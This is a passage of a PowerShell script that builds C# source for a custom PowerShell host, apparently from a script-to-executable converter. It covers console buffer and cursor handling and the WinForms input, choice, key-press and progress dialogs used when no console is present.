return new Coordinates(Console.CursorLeft, Console.CursorTop);
"@ } else {@"
// Dummywert für Winforms zurückgeben.
return new Coordinates(0, 0);
"@ })
}
set
{
$(if (!$noConsole){ @"
Console.CursorTop = value.Y;
Console.CursorLeft = value.X;
"@ })
}
}
public override int CursorSize
{
get
{
$(if (!$noConsole){ @"
return Console.CursorSize;
"@ } else {@"
// Dummywert für Winforms zurückgeben.
return 25;
"@ })
}
set
{
$(if (!$noConsole){ @"
Console.CursorSize = value;
"@ })
}
}
$(if ($noConsole){ @"
private Form InvisibleForm = null;
"@ })
public override void FlushInputBuffer()
{
$(if (!$noConsole){ @"
if (!ConsoleInfo.IsInputRedirected())
{ while (Console.KeyAvailable)
Console.ReadKey(true);
}
"@ } else {@"
if (InvisibleForm != null)
{
InvisibleForm.Close();
InvisibleForm = null;
}
else
{
InvisibleForm = new Form();
InvisibleForm.Opacity = 0;
InvisibleForm.ShowInTaskbar = false;
InvisibleForm.Visible = true;
}
"@ })
}
public override ConsoleColor ForegroundColor
{
$(if (!$noConsole){ @"
get
{
return Console.ForegroundColor;
}
set
{
Console.ForegroundColor = value;
}
"@ } else {@"
get
{
return ncForegroundColor;
}
set
{
ncForegroundColor = value;
}
"@ })
}
public override BufferCell[,] GetBufferContents(System.Management.Automation.Host.Rectangle rectangle)
{
$(if ($compiler20) {@"
throw new Exception("Method GetBufferContents not implemented for .Net V2.0 compiler");
"@ } else { if (!$noConsole) {@"
IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
CHAR_INFO[,] buffer = new CHAR_INFO[rectangle.Bottom - rectangle.Top + 1, rectangle.Right - rectangle.Left + 1];
COORD buffer_size = new COORD() {X = (short)(rectangle.Right - rectangle.Left + 1), Y = (short)(rectangle.Bottom - rectangle.Top + 1)};
COORD buffer_index = new COORD() {X = 0, Y = 0};
SMALL_RECT screen_rect = new SMALL_RECT() {Left = (short)rectangle.Left, Top = (short)rectangle.Top, Right = (short)rectangle.Right, Bottom = (short)rectangle.Bottom};
ReadConsoleOutput(hStdOut, buffer, buffer_size, buffer_index, ref screen_rect);
System.Management.Automation.Host.BufferCell[,] ScreenBuffer = new System.Management.Automation.Host.BufferCell[rectangle.Bottom - rectangle.Top + 1, rectangle.Right - rectangle.Left + 1];
for (int y = 0; y <= rectangle.Bottom - rectangle.Top; y++)
for (int x = 0; x <= rectangle.Right - rectangle.Left; x++)
{
ScreenBuffer[y,x] = new System.Management.Automation.Host.BufferCell(buffer[y,x].AsciiChar, (System.ConsoleColor)(buffer[y,x].Attributes & 0xF), (System.ConsoleColor)((buffer[y,x].Attributes & 0xF0) / 0x10), System.Management.Automation.Host.BufferCellType.Complete);
}
return ScreenBuffer;
"@ } else {@"
System.Management.Automation.Host.BufferCell[,] ScreenBuffer = new System.Management.Automation.Host.BufferCell[rectangle.Bottom - rectangle.Top + 1, rectangle.Right - rectangle.Left + 1];
for (int y = 0; y <= rectangle.Bottom - rectangle.Top; y++)
for (int x = 0; x <= rectangle.Right - rectangle.Left; x++)
{
ScreenBuffer[y,x] = new System.Management.Automation.Host.BufferCell(' ', ncForegroundColor, ncBackgroundColor, System.Management.Automation.Host.BufferCellType.Complete);
}
return ScreenBuffer;
"@ } })
}
public override bool KeyAvailable
{
get
{
$(if (!$noConsole) {@"
return Console.KeyAvailable;
"@ } else {@"
return true;
"@ })
}
}
public override System.Management.Automation.Host.Size MaxPhysicalWindowSize
{
get
{
$(if (!$noConsole){ @"
return new System.Management.Automation.Host.Size(Console.LargestWindowWidth, Console.LargestWindowHeight);
"@ } else {@"
// Dummy-Wert für Winforms
return new System.Management.Automation.Host.Size(240, 84);
"@ })
}
}
public override System.Management.Automation.Host.Size MaxWindowSize
{
get
{
$(if (!$noConsole){ @"
return new System.Management.Automation.Host.Size(Console.BufferWidth, Console.BufferWidth);
"@ } else {@"
// Dummy-Wert für Winforms
return new System.Management.Automation.Host.Size(120, 84);
"@ })
}
}
public override KeyInfo ReadKey(ReadKeyOptions options)
{
$(if (!$noConsole) {@"
ConsoleKeyInfo cki = Console.ReadKey((options & ReadKeyOptions.NoEcho)!=0);
ControlKeyStates cks = 0;
if ((cki.Modifiers & ConsoleModifiers.Alt) != 0)
cks |= ControlKeyStates.LeftAltPressed | ControlKeyStates.RightAltPressed;
if ((cki.Modifiers & ConsoleModifiers.Control) != 0)
cks |= ControlKeyStates.LeftCtrlPressed | ControlKeyStates.RightCtrlPressed;
if ((cki.Modifiers & ConsoleModifiers.Shift) != 0)
cks |= ControlKeyStates.ShiftPressed;
if (Console.CapsLock)
cks |= ControlKeyStates.CapsLockOn;
if (Console.NumberLock)
cks |= ControlKeyStates.NumLockOn;
return new KeyInfo((int)cki.Key, cki.KeyChar, cks, (options & ReadKeyOptions.IncludeKeyDown)!=0);
"@ } else {@"
if ((options & ReadKeyOptions.IncludeKeyDown)!=0)
return ReadKeyBox.Show("", "", true);
else
return ReadKeyBox.Show("", "", false);
"@ })
}
public override void ScrollBufferContents(System.Management.Automation.Host.Rectangle source, Coordinates destination, System.Management.Automation.Host.Rectangle clip, BufferCell fill)
{ // no destination block clipping implemented
$(if (!$noConsole) { if ($compiler20) {@"
throw new Exception("Method ScrollBufferContents not implemented for .Net V2.0 compiler");
"@ } else {@"
// clip area out of source range?
if ((source.Left > clip.Right) || (source.Right < clip.Left) || (source.Top > clip.Bottom) || (source.Bottom < clip.Top))
{ // clipping out of range -> nothing to do
return;
}
IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
SMALL_RECT lpScrollRectangle = new SMALL_RECT() {Left = (short)source.Left, Top = (short)source.Top, Right = (short)(source.Right), Bottom = (short)(source.Bottom)};
SMALL_RECT lpClipRectangle;
if (clip != null)
{ lpClipRectangle = new SMALL_RECT() {Left = (short)clip.Left, Top = (short)clip.Top, Right = (short)(clip.Right), Bottom = (short)(clip.Bottom)}; }
else
{ lpClipRectangle = new SMALL_RECT() {Left = (short)0, Top = (short)0, Right = (short)(Console.WindowWidth - 1), Bottom = (short)(Console.WindowHeight - 1)}; }
COORD dwDestinationOrigin = new COORD() {X = (short)(destination.X), Y = (short)(destination.Y)};
CHAR_INFO lpFill = new CHAR_INFO() { AsciiChar = fill.Character, Attributes = (ushort)((int)(fill.ForegroundColor) + (int)(fill.BackgroundColor)*16) };
ScrollConsoleScreenBuffer(hStdOut, ref lpScrollRectangle, ref lpClipRectangle, dwDestinationOrigin, ref lpFill);
"@ } })
}
public override void SetBufferContents(System.Management.Automation.Host.Rectangle rectangle, BufferCell fill)
{
$(if (!$noConsole){ @"
// using a trick: move the buffer out of the screen, the source area gets filled with the char fill.Character
if (rectangle.Left >= 0)
Console.MoveBufferArea(rectangle.Left, rectangle.Top, rectangle.Right-rectangle.Left+1, rectangle.Bottom-rectangle.Top+1, BufferSize.Width, BufferSize.Height, fill.Character, fill.ForegroundColor, fill.BackgroundColor);
else
{ // Clear-Host: move all content off the screen
Console.MoveBufferArea(0, 0, BufferSize.Width, BufferSize.Height, BufferSize.Width, BufferSize.Height, fill.Character, fill.ForegroundColor, fill.BackgroundColor);
}
"@ })
}
public override void SetBufferContents(Coordinates origin, BufferCell[,] contents)
{
$(if (!$noConsole) { if ($compiler20) {@"
throw new Exception("Method SetBufferContents not implemented for .Net V2.0 compiler");
"@ } else {@"
IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
CHAR_INFO[,] buffer = new CHAR_INFO[contents.GetLength(0), contents.GetLength(1)];
COORD buffer_size = new COORD() {X = (short)(contents.GetLength(1)), Y = (short)(contents.GetLength(0))};
COORD buffer_index = new COORD() {X = 0, Y = 0};
SMALL_RECT screen_rect = new SMALL_RECT() {Left = (short)origin.X, Top = (short)origin.Y, Right = (short)(origin.X + contents.GetLength(1) - 1), Bottom = (short)(origin.Y + contents.GetLength(0) - 1)};
for (int y = 0; y < contents.GetLength(0); y++)
for (int x = 0; x < contents.GetLength(1); x++)
{
buffer[y,x] = new CHAR_INFO() { AsciiChar = contents[y,x].Character, Attributes = (ushort)((int)(contents[y,x].ForegroundColor) + (int)(contents[y,x].BackgroundColor)*16) };
}
WriteConsoleOutput(hStdOut, buffer, buffer_size, buffer_index, ref screen_rect);
"@ } })
}
public override Coordinates WindowPosition
{
get
{
Coordinates s = new Coordinates();
$(if (!$noConsole){ @"
s.X = Console.WindowLeft;
s.Y = Console.WindowTop;
"@ } else {@"
// Dummy-Wert für Winforms
s.X = 0;
s.Y = 0;
"@ })
return s;
}
set
{
$(if (!$noConsole){ @"
Console.WindowLeft = value.X;
Console.WindowTop = value.Y;
"@ })
}
}
public override System.Management.Automation.Host.Size WindowSize
{
get
{
System.Management.Automation.Host.Size s = new System.Management.Automation.Host.Size();
$(if (!$noConsole){ @"
s.Height = Console.WindowHeight;
s.Width = Console.WindowWidth;
"@ } else {@"
// Dummy-Wert für Winforms
s.Height = 50;
s.Width = 120;
"@ })
return s;
}
set
{
$(if (!$noConsole){ @"
Console.WindowWidth = value.Width;
Console.WindowHeight = value.Height;
"@ })
}
}
public override string WindowTitle
{
get
{
$(if (!$noConsole){ @"
return Console.Title;
"@ } else {@"
return System.AppDomain.CurrentDomain.FriendlyName;
"@ })
}
set
{
$(if (!$noConsole){ @"
Console.Title = value;
"@ })
}
}
}
$(if ($noConsole){ @"
public class InputBox
{
[DllImport("user32.dll", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
private static extern IntPtr MB_GetString(uint strId);
public static DialogResult Show(string sTitle, string sPrompt, ref string sValue, bool bSecure)
{
// Generate controls
Form form = new Form();
form.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
form.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
Label label = new Label();
TextBox textBox = new TextBox();
Button buttonOk = new Button();
Button buttonCancel = new Button();
// Sizes and positions are defined according to the label
// This control has to be finished first
if (string.IsNullOrEmpty(sPrompt))
{
if (bSecure)
label.Text = "Secure input: ";
else
label.Text = "Input: ";
}
else
label.Text = sPrompt;
label.Location = new Point(9, 19);
label.MaximumSize = new System.Drawing.Size(System.Windows.Forms.Screen.FromControl(form).Bounds.Width*5/8 - 18, 0);
label.AutoSize = true;
// Size of the label is defined not before Add()
form.Controls.Add(label);
// Generate textbox
if (bSecure) textBox.UseSystemPasswordChar = true;
textBox.Text = sValue;
textBox.SetBounds(12, label.Bottom, label.Right - 12, 20);
// Generate buttons
// get localized "OK"-string
string sTextOK = Marshal.PtrToStringUni(MB_GetString(0));
if (string.IsNullOrEmpty(sTextOK))
buttonOk.Text = "OK";
else
buttonOk.Text = sTextOK;
// get localized "Cancel"-string
string sTextCancel = Marshal.PtrToStringUni(MB_GetString(1));
if (string.IsNullOrEmpty(sTextCancel))
buttonCancel.Text = "Cancel";
else
buttonCancel.Text = sTextCancel;
buttonOk.DialogResult = DialogResult.OK;
buttonCancel.DialogResult = DialogResult.Cancel;
buttonOk.SetBounds(System.Math.Max(12, label.Right - 158), label.Bottom + 36, 75, 23);
buttonCancel.SetBounds(System.Math.Max(93, label.Right - 77), label.Bottom + 36, 75, 23);
// Configure form
if (string.IsNullOrEmpty(sTitle))
form.Text = System.AppDomain.CurrentDomain.FriendlyName;
else
form.Text = sTitle;
form.ClientSize = new System.Drawing.Size(System.Math.Max(178, label.Right + 10), label.Bottom + 71);
form.Controls.AddRange(new Control[] { textBox, buttonOk, buttonCancel });
form.FormBorderStyle = FormBorderStyle.FixedDialog;
form.StartPosition = FormStartPosition.CenterScreen;
try {
form.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location);
}
catch
{ }
form.MinimizeBox = false;
form.MaximizeBox = false;
form.AcceptButton = buttonOk;
form.CancelButton = buttonCancel;
// Show form and compute results
DialogResult dialogResult = form.ShowDialog();
sValue = textBox.Text;
return dialogResult;
}
public static DialogResult Show(string sTitle, string sPrompt, ref string sValue)
{
return Show(sTitle, sPrompt, ref sValue, false);
}
}
public class ChoiceBox
{
public static int Show(System.Collections.ObjectModel.Collection aAuswahl, int iVorgabe, string sTitle, string sPrompt)
{
// cancel if array is empty
if (aAuswahl == null) return -1;
if (aAuswahl.Count < 1) return -1;
// Generate controls
Form form = new Form();
form.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
form.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
RadioButton[] aradioButton = new RadioButton[aAuswahl.Count];
ToolTip toolTip = new ToolTip();
Button buttonOk = new Button();
// Sizes and positions are defined according to the label
// This control has to be finished first when a prompt is available
int iPosY = 19, iMaxX = 0;
if (!string.IsNullOrEmpty(sPrompt))
{
Label label = new Label();
label.Text = sPrompt;
label.Location = new Point(9, 19);
label.MaximumSize = new System.Drawing.Size(System.Windows.Forms.Screen.FromControl(form).Bounds.Width*5/8 - 18, 0);
label.AutoSize = true;
// erst durch Add() wird die Größe des Labels ermittelt
form.Controls.Add(label);
iPosY = label.Bottom;
iMaxX = label.Right;
}
// An den Radiobuttons orientieren sich die weiteren Größen und Positionen
// Diese Controls also jetzt fertigstellen
int Counter = 0;
int tempWidth = System.Windows.Forms.Screen.FromControl(form).Bounds.Width*5/8 - 18;
foreach (ChoiceDescription sAuswahl in aAuswahl)
{
aradioButton[Counter] = new RadioButton();
aradioButton[Counter].Text = sAuswahl.Label;
if (Counter == iVorgabe)
aradioButton[Counter].Checked = true;
aradioButton[Counter].Location = new Point(9, iPosY);
aradioButton[Counter].AutoSize = true;
// erst durch Add() wird die Größe des Labels ermittelt
form.Controls.Add(aradioButton[Counter]);
if (aradioButton[Counter].Width > tempWidth)
{ // radio field to wide for screen -> make two lines
int tempHeight = aradioButton[Counter].Height;
aradioButton[Counter].Height = tempHeight*(1 + (aradioButton[Counter].Width-1)/tempWidth);
aradioButton[Counter].Width = tempWidth;
aradioButton[Counter].AutoSize = false;
}
iPosY = aradioButton[Counter].Bottom;
if (aradioButton[Counter].Right > iMaxX) { iMaxX = aradioButton[Counter].Right; }
if (!string.IsNullOrEmpty(sAuswahl.HelpMessage))
toolTip.SetToolTip(aradioButton[Counter], sAuswahl.HelpMessage);
Counter++;
}
// Tooltip auch anzeigen, wenn Parent-Fenster inaktiv ist
toolTip.ShowAlways = true;
// Button erzeugen
buttonOk.Text = "OK";
buttonOk.DialogResult = DialogResult.OK;
buttonOk.SetBounds(System.Math.Max(12, iMaxX - 77), iPosY + 36, 75, 23);
// configure form
if (string.IsNullOrEmpty(sTitle))
form.Text = System.AppDomain.CurrentDomain.FriendlyName;
else
form.Text = sTitle;
form.ClientSize = new System.Drawing.Size(System.Math.Max(178, iMaxX + 10), iPosY + 71);
form.Controls.Add(buttonOk);
form.FormBorderStyle = FormBorderStyle.FixedDialog;
form.StartPosition = FormStartPosition.CenterScreen;
try {
form.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location);
}
catch
{ }
form.MinimizeBox = false;
form.MaximizeBox = false;
form.AcceptButton = buttonOk;
// show and compute form
if (form.ShowDialog() == DialogResult.OK)
{ int iRueck = -1;
for (Counter = 0; Counter < aAuswahl.Count; Counter++)
{
if (aradioButton[Counter].Checked == true)
{ iRueck = Counter; }
}
return iRueck;
}
else
return -1;
}
}
public class ReadKeyBox
{
[DllImport("user32.dll")]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpKeyState,
[Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff,
int cchBuff, uint wFlags);
static string GetCharFromKeys(Keys keys, bool bShift, bool bAltGr)
{
System.Text.StringBuilder buffer = new System.Text.StringBuilder(64);
byte[] keyboardState = new byte[256];
if (bShift)
{ keyboardState[(int) Keys.ShiftKey] = 0xff; }
if (bAltGr)
{ keyboardState[(int) Keys.ControlKey] = 0xff;
keyboardState[(int) Keys.Menu] = 0xff;
}
if (ToUnicode((uint) keys, 0, keyboardState, buffer, 64, 0) >= 1)
return buffer.ToString();
else
return "\0";
}
class KeyboardForm : Form
{
public KeyboardForm()
{
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.KeyDown += new KeyEventHandler(KeyboardForm_KeyDown);
this.KeyUp += new KeyEventHandler(KeyboardForm_KeyUp);
}
// check for KeyDown or KeyUp?
public bool checkKeyDown = true;
// key code for pressed key
public KeyInfo keyinfo;
void KeyboardForm_KeyDown(object sender, KeyEventArgs e)
{
if (checkKeyDown)
{ // store key info
keyinfo.VirtualKeyCode = e.KeyValue;
keyinfo.Character = GetCharFromKeys(e.KeyCode, e.Shift, e.Alt & e.Control)[0];
keyinfo.KeyDown = false;
keyinfo.ControlKeyState = 0;
if (e.Alt) { keyinfo.ControlKeyState = ControlKeyStates.LeftAltPressed | ControlKeyStates.RightAltPressed; }
if (e.Control)
{ keyinfo.ControlKeyState |= ControlKeyStates.LeftCtrlPressed | ControlKeyStates.RightCtrlPressed;
if (!e.Alt)
{ if (e.KeyValue > 64 && e.KeyValue < 96) keyinfo.Character = (char)(e.KeyValue - 64); }
}
if (e.Shift) { keyinfo.ControlKeyState |= ControlKeyStates.ShiftPressed; }
if ((e.Modifiers & System.Windows.Forms.Keys.CapsLock) > 0) { keyinfo.ControlKeyState |= ControlKeyStates.CapsLockOn; }
if ((e.Modifiers & System.Windows.Forms.Keys.NumLock) > 0) { keyinfo.ControlKeyState |= ControlKeyStates.NumLockOn; }
// and close the form
this.Close();
}
}
void KeyboardForm_KeyUp(object sender, KeyEventArgs e)
{
if (!checkKeyDown)
{ // store key info
keyinfo.VirtualKeyCode = e.KeyValue;
keyinfo.Character = GetCharFromKeys(e.KeyCode, e.Shift, e.Alt & e.Control)[0];
keyinfo.KeyDown = true;
keyinfo.ControlKeyState = 0;
if (e.Alt) { keyinfo.ControlKeyState = ControlKeyStates.LeftAltPressed | ControlKeyStates.RightAltPressed; }
if (e.Control)
{ keyinfo.ControlKeyState |= ControlKeyStates.LeftCtrlPressed | ControlKeyStates.RightCtrlPressed;
if (!e.Alt)
{ if (e.KeyValue > 64 && e.KeyValue < 96) keyinfo.Character = (char)(e.KeyValue - 64); }
}
if (e.Shift) { keyinfo.ControlKeyState |= ControlKeyStates.ShiftPressed; }
if ((e.Modifiers & System.Windows.Forms.Keys.CapsLock) > 0) { keyinfo.ControlKeyState |= ControlKeyStates.CapsLockOn; }
if ((e.Modifiers & System.Windows.Forms.Keys.NumLock) > 0) { keyinfo.ControlKeyState |= ControlKeyStates.NumLockOn; }
// and close the form
this.Close();
}
}
}
public static KeyInfo Show(string sTitle, string sPrompt, bool bIncludeKeyDown)
{
// Controls erzeugen
KeyboardForm form = new KeyboardForm();
Label label = new Label();
// Am Label orientieren sich die Größen und Positionen
// Dieses Control also zuerst fertigstellen
if (string.IsNullOrEmpty(sPrompt))
{
label.Text = "Press a key";
}
else
label.Text = sPrompt;
label.Location = new Point(9, 19);
label.MaximumSize = new System.Drawing.Size(System.Windows.Forms.Screen.FromControl(form).Bounds.Width*5/8 - 18, 0);
label.AutoSize = true;
// erst durch Add() wird die Größe des Labels ermittelt
form.Controls.Add(label);
// configure form
if (string.IsNullOrEmpty(sTitle))
form.Text = System.AppDomain.CurrentDomain.FriendlyName;
else
form.Text = sTitle;
form.ClientSize = new System.Drawing.Size(System.Math.Max(178, label.Right + 10), label.Bottom + 55);
form.FormBorderStyle = FormBorderStyle.FixedDialog;
form.StartPosition = FormStartPosition.CenterScreen;
try {
form.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location);
}
catch
{ }
form.MinimizeBox = false;
form.MaximizeBox = false;
// show and compute form
form.checkKeyDown = bIncludeKeyDown;
form.ShowDialog();
return form.keyinfo;
}
}
public class ProgressForm : Form
{
private ConsoleColor ProgressBarColor = ConsoleColor.DarkCyan;
struct ProgressData
{
internal Label lblActivity;
internal Label lblStatus;
internal ProgressBar objProgressBar;
internal Label lblRemainingTime;
internal Label lblOperation;
internal int ActivityId;
internal int ParentActivityId;
internal int Depth;
};
private List progressDataList = new List();
private Color DrawingColor(ConsoleColor color)
{ // convert ConsoleColor to System.Drawing.Color
switch (color)
{
case ConsoleColor.Black: return Color.Black;
case ConsoleColor.Blue: return Color.Blue;
case ConsoleColor.Cyan: return Color.Cyan;
case ConsoleColor.DarkBlue: return ColorTranslator.FromHtml("#000080");
case ConsoleColor.DarkGray: return ColorTranslator.FromHtml("#808080");
case ConsoleColor.DarkGreen: return ColorTranslator.FromHtml("#008000");
case ConsoleColor.DarkCyan: return ColorTranslator.FromHtml("#008080");
case ConsoleColor.DarkMagenta: return ColorTranslator.FromHtml("#800080");
case ConsoleColor.DarkRed: return ColorTranslator.FromHtml("#800000");
case ConsoleColor.DarkYellow: return ColorTranslator.FromHtml("#808000");
case ConsoleColor.Gray: return ColorTranslator.FromHtml("#C0C0C0");
case ConsoleColor.Green: return ColorTranslator.FromHtml("#00FF00");
case ConsoleColor.Magenta: return Color.Magenta;
case ConsoleColor.Red: return Color.Red;
case ConsoleColor.White: return Color.White;
default: return Color.Yellow;
}
}
private void InitializeComponent()
{
this.SuspendLayout();
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.AutoScroll = true;
this.Text = System.AppDomain.CurrentDomain.FriendlyName;
this.Height = 147;
this.Width = 800;
this.BackColor = Color.White;
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.MinimizeBox = false;
this.MaximizeBox = false;
this.ControlBox = false;
this.StartPosition = FormStartPosition.CenterScreen;
this.ResumeLayout();
}
private void AddBar(ref ProgressData pd, int position)
{
// Create Label
pd.lblActivity = new Label();
pd.lblActivity.Left = 5;
pd.lblActivity.Top = 104*position + 10;
pd.lblActivity.Width = 800 - 20;
pd.lblActivity.Height = 16;
pd.lblActivity.Font = new Font(pd.lblActivity.Font, FontStyle.Bold);
pd.lblActivity.Text = "";
// Add Label to Form
this.Controls.Add(pd.lblActivity);
// Create Label
pd.lblStatus = new Label();
pd.lblStatus.Left = 25;
pd.lblStatus.Top = 104*position + 26;
pd.lblStatus.Width = 800 - 40;
pd.lblStatus.Height = 16;
pd.lblStatus.Text = "";
// Add Label to Form
this.Controls.Add(pd.lblStatus);
// Create ProgressBar
pd.objProgressBar = new ProgressBar();
pd.objProgressBar.Value = 0;
$(if ($noVisualStyles) {@"
pd.objProgressBar.Style = ProgressBarStyle.Continuous;
"@ } else {@"
pd.objProgressBar.Style = ProgressBarStyle.Blocks;
"@ })
pd.objProgressBar.ForeColor = DrawingColor(ProgressBarColor);
if (pd.Depth < 15)
{
pd.objProgressBar.Size = new System.Drawing.Size(800 - 60 - 30*pd.Depth, 20);
pd.objProgressBar.Left = 25 + 30*pd.Depth;
}
else
{
pd.objProgressBar.Size = new System.Drawing.Size(800 - 60 - 450, 20);
pd.objProgressBar.Left = 25 + 450;
}
pd.objProgressBar.Top = 104*position + 47;
// Add ProgressBar to Form
this.Controls.Add(pd.objProgressBar);
// Create Label
pd.lblRemainingTime = new Label();
pd.lblRemainingTime.Left = 5;
pd.lblRemainingTime.Top = 104*position + 72;
pd.lblRemainingTime.Width = 800 - 20;
pd.lblRemainingTime.Height = 16;
pd.lblRemainingTime.Text = "";
// Add Label to Form
this.Controls.Add(pd.lblRemainingTime);
// Create Label
pd.lblOperation = new Label();
pd.lblOperation.Left = 25;
pd.lblOperation.Top = 104*position + 88;
pd.lblOperation.Width = 800 - 40;
pd.lblOperation.Height = 16;
pd.lblOperation.Text = "";
// Add Label to Form
this.Controls.Add(pd.lblOperation);
}
public int GetCount()
{
return progressDataList.Count;
}
public ProgressForm()
{
InitializeComponent();
}
public ProgressForm(ConsoleColor BarColor)
{
ProgressBarColor = BarColor;
InitializeComponent();
}
public void Update(ProgressRecord objRecord)
{
if (objRecord == null)
return;
int currentProgress = -1;
for (int i = 0; i < progressDataList.Count; i++)
{
if (progressDataList[i].ActivityId == objRecord.ActivityId)
{ currentProgress = i;
break;
}
}
if (objRecord.RecordType == ProgressRecordType.Completed)
{
if (currentProgress < 0) return;
this.Controls.Remove(progressDataList[currentProgress].lblActivity);
this.Controls.Remove(progressDataList[currentProgress].lblStatus);
this.Controls.Remove(progressDataList[currentProgress].objProgressBar);
this.Controls.Remove(progressDataList[currentProgress].lblRemainingTime);
this.Controls.Remove(progressDataList[currentProgress].lblOperation);
progressDataList[currentProgress].lblActivity.Dispose();
progressDataList[currentProgress].lblStatus.Dispose();
progressDataList[currentProgress].objProgressBar.Dispose();
progressDataList[currentProgress].lblRemainingTime.Dispose();
progressDataList[currentProgress].lblOperation.Dispose();
progressDataList.RemoveAt(currentProgress);
if (progressDataList.Count == 0)
{
this.Close();
return;
}
for (int i = currentProgress; i < progressDataList.Count; i++)
{
progressDataList[i].lblActivity.Top = 104*i + 10;
progressDataList[i].lblStatus.Top = 104*i + 26;
progressDataList[i].objProgressBar.Top = 104*i + 47;
progressDataList[i].lblRemainingTime.Top = 104*i + 72;
progressDataList[i].lblOperation.Top = 104*i + 88;
}
if (104*progressDataList.Count + 43 <= System.Windows.Forms.Screen.FromControl(this).Bounds.Height)
{
this.Height = 104*progressDataList.Count + 43;
this.Location = new Point((System.Windows.Forms.Screen.FromControl(this).Bounds.Width - this.Width)/2, (System.Windows.Forms.Screen.FromControl(this).Bounds.Height - this.Height)/2);
}
else
{
this.Height = System.Windows.Forms.Screen.FromControl(this).Bounds.Height;
this.Location = new Point((System.Windows.Forms.Screen.FromControl(this).Bounds.Width - this.Width)/2, 0);
}
return;
}
if (currentProgress < 0)
{
ProgressData pd = new ProgressData();
pd.ActivityId = objRecord.ActivityId;
pd.ParentActivityId = objRecord.ParentActivityId;
pd.Depth = 0;
int nextid = -1;
int parentid = -1;
if (pd.ParentActivityId >= 0)
{
for (int i = 0; i < progressDataList.Count; i++)
{
if (progressDataList[i].ActivityId == pd.ParentActivityId)
{ parentid = i;
break;
}
}
}
if (parentid >= 0)
{
pd.Depth = progressDataList[parentid].Depth + 1;
for (int i = parentid + 1; i < progressDataList.Count; i++)
{
if ((progressDataList[i].Depth < pd.Depth) || ((progressDataList[i].Depth == pd.Depth) && (progressDataList[i].ParentActivityId != pd.ParentActivityId)))
{ nextid = i;
break;
}
}
}
if (nextid == -1)
{
AddBar(ref pd, progressDataList.Count);
currentProgress = progressDataList.Count;
progressDataList.Add(pd);
}
else
{
AddBar(ref pd, nextid);
currentProgress = nextid;
progressDataList.Insert(nextid, pd);
for (int i = currentProgress+1; i < progressDataList.Count; i++)
{
progressDataList[i].lblActivity.Top = 104*i + 10;
progressDataList[i].lblStatus.Top = 104*i + 26;
progressDataList[i].objProgressBar.Top = 104*i + 47;
progressDataList[i].lblRemainingTime.Top = 104*i + 72;
progressDataList[i].lblOperation.Top = 104*i + 88;
}
}
if (104*progressDataList.Count + 43 <= System.Windows.Forms.Screen.FromControl(this).Bounds.Height)
{
this.Height = 104*progressDataList.Count + 43;
this.Location = new Point((System.Windows.Forms.Screen.FromControl(this).Bounds.Width - this.Width)/2, (System.Windows.Forms.Screen.FromControl(this).Bounds.Height - this.Height)/2);
}
else
{
this.Height = System.Windows.Forms.Screen.FromControl(this).Bounds.Height;
this.Location = new Point((System.Windows.Forms.Screen.FromControl(this).Bounds.Width - this.Width)/2, 0);
}
}
if (!string.IsNullOrEmpty(objRecord.Activity))
progressDataList[currentProgress].lblActivity.Text = objRecord.Activity;
else
progressDataList[currentProgress].lblActivity.Text = "";
if (!string.IsNullOrEmpty(objRecord.StatusDescription))
progressDataList[currentProgress].lblStatus.Text = objRecord.StatusDescription;
else
progressDataList[currentProgress].lblStatus.Text = "";
if ((objRecord.PercentComplete >= 0) && (objRecord.PercentComplete <= 100))
{
progressDataList[currentProgress].objProgressBar.Value = objRecord.PercentComplete;
progressDataList[currentProgress].objProgressBar.Visible = true;
}
else
{ if (objRecord.PercentComplete > 100)
{
progressDataList[currentProgress].objProgressBar.Value = 0;
progressDataList[currentProgress].objProgressBar.Visible = true;
}
else
progressDataList[currentProgress].objProgressBar.Visible = false;
}
if (objRecord.SecondsRemaining >= 0)
{
System.TimeSpan objTimeSpan = new System.TimeSpan(0, 0, objRecord.SecondsRemaining);
progressDataList[currentProgress].lblRemainingTime.Text = "Remaining time: " + string.Format("{0:00}:{1:00}:{2:00}", (int)objTimeSpan.TotalHours, objTimeSpan.Minutes, objTimeSpan.Seconds);
}
else
progressDataList[currentProgress].lblRemainingTime.Text = "";
if (!string.IsNullOrEmpty(objRecord.CurrentOperation))
progressDataList[currentProgress].lblOperation.Text = objRecord.CurrentOperation;
else
progressDataList[currentProgress].lblOperation.Text = "";
Application.DoEvents();
}
}
"@})
// define IsInputRedirected(), IsOutputRedirected() and IsErrorRedirected() here since they were introduced first with .Net 4.5
public class ConsoleInfo
{
private enum FileType : uint
{
FILE_TYPE_UNKNOWN = 0x0000,
FILE_TYPE_DISK = 0x0001,
FILE_TYPE_CHAR = 0x0002,
FILE_TYPE_PIPE = 0x0003,
FILE_TYPE_REMOTE = 0x8000
}
private enum STDHandle : uint
{
STD_INPUT_HANDLE = unchecked((uint)-10),
STD_OUTPUT_HANDLE = unchecked((uint)-11),
STD_ERROR_HANDLE = unchecked((uint)-12)
}
[DllImport("Kernel32.dll")]
static private extern UIntPtr GetStdHandle(STDHandle stdHandle);
[DllImport("Kernel32.dll")]
static private extern FileType GetFileType(UIntPtr hFile);
static public bool IsInputRedirected()
{
UIntPtr hInput = GetStdHandle(STDHandle.STD_INPUT_HANDLE);
FileType fileType = (FileType)GetFileType(hInput);
if ((fileType == FileType.FILE_TYPE_CHAR) || (fileType == FileType.FILE_TYPE_UNKNOWN))
return false;
return true;
}
static public bool IsOutputRedirected()
{
